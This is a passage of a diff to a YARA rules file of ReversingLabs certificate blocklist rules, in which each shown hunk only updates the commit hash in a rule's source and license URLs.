+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8af5f4abe6425713b7c1fd17deaa78b2cfd6ef73ad960bce883e95661c2dbb56"
 		score = 75
 		quality = 90
@@ -17031,8 +17084,8 @@ rule REVERSINGLABS_Cert_Blocklist_08D4Dc90047B8470Ccaf3924Dfbd8B5F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11668-L11684"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11668-L11684"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "569db2f6d6f4da9985c57812a03f91bce88f2150b17659249e0f746a0d15150b"
 		score = 75
 		quality = 90
@@ -17056,8 +17109,8 @@ rule REVERSINGLABS_Cert_Blocklist_C2Fc83D458E653837Fcfc132C9B03062 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11686-L11704"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11686-L11704"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "836cec8d8396680dd64f95d4dd41f7f5876cb4268d983238a01d2e0990cce74a"
 		score = 75
 		quality = 90
@@ -17081,8 +17134,8 @@ rule REVERSINGLABS_Cert_Blocklist_54C793D2224Bdd6Ca527Bb2B7B9Dfe9D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11706-L11722"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11706-L11722"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "81c9c1d841d4aae3de229cc499ee84920d89928590a3eb157f7a7a7fbc46b4a8"
 		score = 75
 		quality = 90
@@ -17106,8 +17159,8 @@ rule REVERSINGLABS_Cert_Blocklist_8Cece6Df54Cf6Ad63596546D77Ba3581 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11724-L11742"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11724-L11742"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d6b5bca36ef492ce9b79be905c86c66d43ef38701dafeed977229034119bd00d"
 		score = 75
 		quality = 90
@@ -17131,8 +17184,8 @@ rule REVERSINGLABS_Cert_Blocklist_984E84Cfe362E278F558E2C70Aaafac2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11744-L11762"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11744-L11762"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e7a8f3dff77121df53d5f932f861e15208b0607ba77712f40927bc14b17a53cd"
 		score = 75
 		quality = 90
@@ -17156,8 +17209,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ff52Eb011Bb748Fee75153Cbe1E50Dd6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11764-L11782"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11764-L11782"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8c80ed4e4f77df34ff9fcc712deda4c1bbedc588f2b01d02aa705e368fb98c5e"
 		score = 75
 		quality = 90
@@ -17181,8 +17234,8 @@ rule REVERSINGLABS_Cert_Blocklist_84A4A0D0657E217B176B455E2465Aee0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11784-L11802"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11784-L11802"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "92f6e90bd21182bece68ac1651105f96a18c5b1497d30e0040a978e349341bdb"
 		score = 75
 		quality = 90
@@ -17206,8 +17259,8 @@ rule REVERSINGLABS_Cert_Blocklist_B8F726508Cf1D7B7913Bf4Bbd1E5C19C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11804-L11822"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11804-L11822"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ec05c7e41e309aff00ae819c63f5bdc8e4172c611779da345efd211e48c9efb1"
 		score = 75
 		quality = 90
@@ -17231,8 +17284,8 @@ rule REVERSINGLABS_Cert_Blocklist_6A241Ffe96A6349Df608D22C02942268 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11824-L11840"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11824-L11840"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "79db8be7ca3ed80eb1e3a9401e8fec2b83da8b95b16789ed0b59bb7f4639a94d"
 		score = 75
 		quality = 90
@@ -17256,8 +17309,8 @@ rule REVERSINGLABS_Cert_Blocklist_Aa1D84779792B57F91Fe7A4Bde041942 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11842-L11860"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11842-L11860"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "682af8c799acaca531724c5b3184b855e64ec4531fcc333a485ba2f63331cdae"
 		score = 75
 		quality = 90
@@ -17281,8 +17334,8 @@ rule REVERSINGLABS_Cert_Blocklist_3C98B6872Fbb1F4Ae37A4Caa749D24C2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11862-L11878"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11862-L11878"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c534ad306f85e12eca2336e998120deb4ba8d0d63b8331986ec7fe4ac69ba65a"
 		score = 75
 		quality = 90
@@ -17306,8 +17359,8 @@ rule REVERSINGLABS_Cert_Blocklist_E4E795Fd1Fd25595B869Ce22Aa7Dc49F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11880-L11898"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11880-L11898"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ced47bd69b58de9e6b2aa7518ccceca088884acb79c0803c3defe6b115a0abb6"
 		score = 75
 		quality = 90
@@ -17331,8 +17384,8 @@ rule REVERSINGLABS_Cert_Blocklist_E953Ada7E8F1438E5F7680Ff599Ae43E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11900-L11918"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11900-L11918"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7cb7d77abefd35f0756c5aa0983f7403cca4cbacd94dcc6b510c929bc96c8309"
 		score = 75
 		quality = 90
@@ -17356,8 +17409,8 @@ rule REVERSINGLABS_Cert_Blocklist_28C57Df09Ce7Cc3Fde2243Beb4D00101 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11920-L11936"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11920-L11936"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "84402dc0a58fca36424d8d6d13c60b80342bb3792f4e32e23878530264358726"
 		score = 75
 		quality = 90
@@ -17381,8 +17434,8 @@ rule REVERSINGLABS_Cert_Blocklist_2D8Cfcf04209Dc7F771D8D18E462C35A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11938-L11954"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11938-L11954"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2b784e46268d78046365400ef914d7ca673503c93962d0b0740ca2ac9faf7857"
 		score = 75
 		quality = 90
@@ -17406,8 +17459,8 @@ rule REVERSINGLABS_Cert_Blocklist_016836311Fc39Fbb8E6F308Bb03Cc2B3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11956-L11972"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11956-L11972"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c5f6372a207d02283840e745619e93194d954eedff7bae34aadcb645b1cb78fc"
 		score = 75
 		quality = 90
@@ -17431,8 +17484,8 @@ rule REVERSINGLABS_Cert_Blocklist_435Abf46053A0A445C54217A8C233A7F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11974-L11990"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11974-L11990"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "839f55e8fe7a86aad406e657fdef48925543b5d3884927104fd3786444a8fccc"
 		score = 75
 		quality = 90
@@ -17456,8 +17509,8 @@ rule REVERSINGLABS_Cert_Blocklist_B2F9C693A2E6634565F63C79B01Dd8F8 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11992-L12010"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11992-L12010"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f5ec67c082be21a2495ef90fd0a6d4fc4b1379c4903dcc051d39cf1913d5cf20"
 		score = 75
 		quality = 90
@@ -17481,8 +17534,8 @@ rule REVERSINGLABS_Cert_Blocklist_54A6D33F73129E0Ef059Ccf51Be0C35E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12012-L12028"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12012-L12028"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6fbed9c8537ea2baeb58044a934fc9741730b8a3ae4d059c23b033973d7ff7d3"
 		score = 75
 		quality = 90
@@ -17506,8 +17559,8 @@ rule REVERSINGLABS_Cert_Blocklist_142Aac4217E22B525C8587589773Ba9B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12030-L12046"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12030-L12046"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f169925c27f5e0f8d5f658b83d1b9fa4548c4443b16bd4d7f87aa2b8e44bf06b"
 		score = 75
 		quality = 90
@@ -17531,8 +17584,8 @@ rule REVERSINGLABS_Cert_Blocklist_239664C12Baeb5A6D787912888051392 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12048-L12064"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12048-L12064"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ab2c228088a4c11b3a0f1a5f0acf181cc31e548781cb3f1205475bfbe39c7236"
 		score = 75
 		quality = 90
@@ -17556,8 +17609,8 @@ rule REVERSINGLABS_Cert_Blocklist_0218Ebfd5A9Bfd55D2F661F0D18D1D71 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12066-L12082"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12066-L12082"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4aabe3beab0055b6ef8f6114c5236940f5693b44e94efd14132b450bb9232c03"
 		score = 75
 		quality = 90
@@ -17581,8 +17634,8 @@ rule REVERSINGLABS_Cert_Blocklist_35590Ebe4A02Dc23317D8Ce47A947A9B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12084-L12100"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12084-L12100"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2d4bc88943cdc8af00effab745e64e60ef662c668a0b2193c256d11831ef1554"
 		score = 75
 		quality = 90
@@ -17606,8 +17659,8 @@ rule REVERSINGLABS_Cert_Blocklist_Aa07D4F2857119Cee514A0Bd412F8201 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12102-L12120"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12102-L12120"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "fbbea89f2070b2a527bba6199022fbffd269e664b000988a59adf4ca0d4a9f22"
 		score = 75
 		quality = 90
@@ -17631,8 +17684,8 @@ rule REVERSINGLABS_Cert_Blocklist_40F5660A90301E7A8A8C3B42 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12122-L12138"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12122-L12138"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3573d1d5f11df106f1f6f44f8b0164992f2a50707c6df7b08b05ed9ea7d9173b"
 		score = 75
 		quality = 90
@@ -17656,8 +17709,8 @@ rule REVERSINGLABS_Cert_Blocklist_0400C7614F86D75Fe4Ee3F6192B6Feda : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12140-L12156"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12140-L12156"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "47735267e9a0fb8107f6c4008bacc8aada1705f6714a0447dacc3928fc20cad6"
 		score = 75
 		quality = 90
@@ -17681,8 +17734,8 @@ rule REVERSINGLABS_Cert_Blocklist_E573D9C8B403C41Bd59Ffa0A8Efd4168 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12158-L12176"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12158-L12176"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "425126b90fe2ab7c1ec7bf2fd5a91e4438a81992f20f99ed87ec62e7f20043cd"
 		score = 75
 		quality = 90
@@ -17706,8 +17759,8 @@ rule REVERSINGLABS_Cert_Blocklist_B06Bc166Fc765Dacd2F7448C8Cdd9205 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12178-L12196"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12178-L12196"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2c47166f02c7f94bb4f82296e3220ff7ca3c6c53566d855b2fe77cb842a5fb43"
 		score = 75
 		quality = 90
@@ -17731,8 +17784,8 @@ rule REVERSINGLABS_Cert_Blocklist_E9268Ed63A7D7E9Dfd40A664Ddfbaf18 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L12198-L12216"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L12198-L12216"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "fc840c0b37867c3b0aa80d4dc609feaaab77d3f0c6f84c8bb2ea7c5a6461ebb8"
 		score = 75
 		quality = 90
@@ -17756,8 +17809,8 @@ rule REVERSINGLABS_Cert_Blocklist_425Dc3E0Ca8Bcdce19D00D87E3F0Ba28 : INFO FILE
